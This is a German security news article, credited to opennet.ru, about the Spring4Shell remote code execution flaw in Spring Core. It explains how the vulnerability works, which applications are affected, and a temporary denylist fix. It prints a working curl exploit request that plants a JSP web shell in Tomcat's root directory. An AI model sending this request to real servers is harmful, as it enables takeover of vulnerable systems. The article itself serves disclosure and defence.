Im Modul Spring Core, das Teil des Spring Frameworks ist, wurde eine kritische 0-Day-SicherheitslĂŒcke entdeckt, die einem nicht authentifizierten Remote-Angreifer ermöglicht, seinen Code auf dem Server auszufĂŒhren. Es ist noch unklar, wie katastrophal die Folgen des entdeckten Problems sein könnten und ob die Angriffe ebenso massenhaft sein werden wie im Fall der Schwachstelle in Log4j 2. Die Schwachstelle trĂ€gt den Codenamen Spring4Shell, ein CVE-Identifikator wurde jedoch bisher nicht vergeben. Im Spring Framework bleibt das Problem unbereinigt und im Internet sind bereits mehrere funktionierende Prototypen von Exploits verfĂŒgbar (1, 2, 3, 4). Das Problem wird verschĂ€rft durch die Tatsache, dass viele Unternehmens-Java-Anwendungen, die auf Spring Framework basieren, mit Root-Rechten ausgefĂŒhrt werden und die Schwachstelle es ermöglicht, das System vollstĂ€ndig zu kompromittieren.
Nach SchĂ€tzungen wird das Spring Core-Modul in 74 % der Java-Anwendungen verwendet. Die Gefahr der Schwachstelle wird dadurch verringert, dass nur Anwendungen betroffen sind, die die Annotation â@RequestMappingâ bei der Anbindung von Request-Handlern und der Bindung von Webformularparametern im Format âname=valueâ (POJO, Plain Old Java Object) verwenden, anstelle von JSON/XML.
Welche spezifischen Java-Anwendungen und Frameworks von dem Problem betroffen sind, ist noch unklar. Die Schwachstelle blockiert das HinzufĂŒgen der Felder âclassâ, âmoduleâ und âclassLoaderâ zur schwarzen Liste oder die Nutzung einer expliziten weiĂen Liste erlaubter Felder. Die Ausnutzung der Schwachstelle ist nur mit Java/JDK 9 oder einer neueren Version möglich. Das Problem ist auf eine Umgehung des Schutzes vor der Schwachstelle CVE-2010-1622 zurĂŒckzufĂŒhren, die im Spring Framework bereits 2010 behoben wurde und mit der AusfĂŒhrung des classLoader-Handlers bei der Analyse von Anfrageparametern zusammenhĂ€ngt.
Die Funktionsweise des Exploits besteht darin, eine Anfrage mit den Parametern âclass.module.classLoader.resources.context.parent.pipeline.first.*â zu senden, deren Verarbeitung zur Erstellung einer JSP-Datei im Wurzelverzeichnis von Apache Tomcat fĂŒhrt und den vom Angreifer angegebenen Code in diese Datei schreibt. Die erstellte Datei wird fĂŒr direkte Anfragen verfĂŒgbar und kann als Web-Shell verwendet werden. Um eine anfĂ€llige Anwendung in der Umgebung von Apache Tomcat zu attackieren, reicht es aus, eine Anfrage mit bestimmten Parametern ĂŒber das Tool curl zu senden. curl -v -d âclass.module.classLoader.resources.context.parent.pipeline.first.pattern=code_einfĂŒgen_in_datei &class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp &class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT &class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar &class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=â http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-SNAPSHOT/rapid7
Das vorliegende Problem in Spring Core sollte nicht mit den kĂŒrzlich entdeckten Schwachstellen CVE-2022-22963 und CVE-2022-22950 verwechselt werden. Das erste Problem betrifft das Paket Spring Cloud und wurde in den Versionen 3.1.7 und 3.2.3 behoben. Das zweite Problem ist in Spring Expression vorhanden und wurde in Spring Framework 5.3.17 behoben. Dies sind grundsĂ€tzlich andere Schwachstellen. Zu der neuen Schwachstelle haben die Entwickler des Spring Framework noch keine Stellungnahme abgegeben und kein Update veröffentlicht.
Als vorĂŒbergehende MaĂnahme zum Schutz wird empfohlen, in dem Code eine schwarze Liste unzulĂ€ssiger Anfrageparameter zu verwenden: import org.springframework.core.Ordered; import org.springframework.core.annotation.Order; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.InitBinder; @ControllerAdvice @Order(10000) public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[]{âclass.â, âClass.â, â.class.â, â.Class.â}; dataBinder.setDisallowedFields(denylist); } }
Quelle: opennet.ru
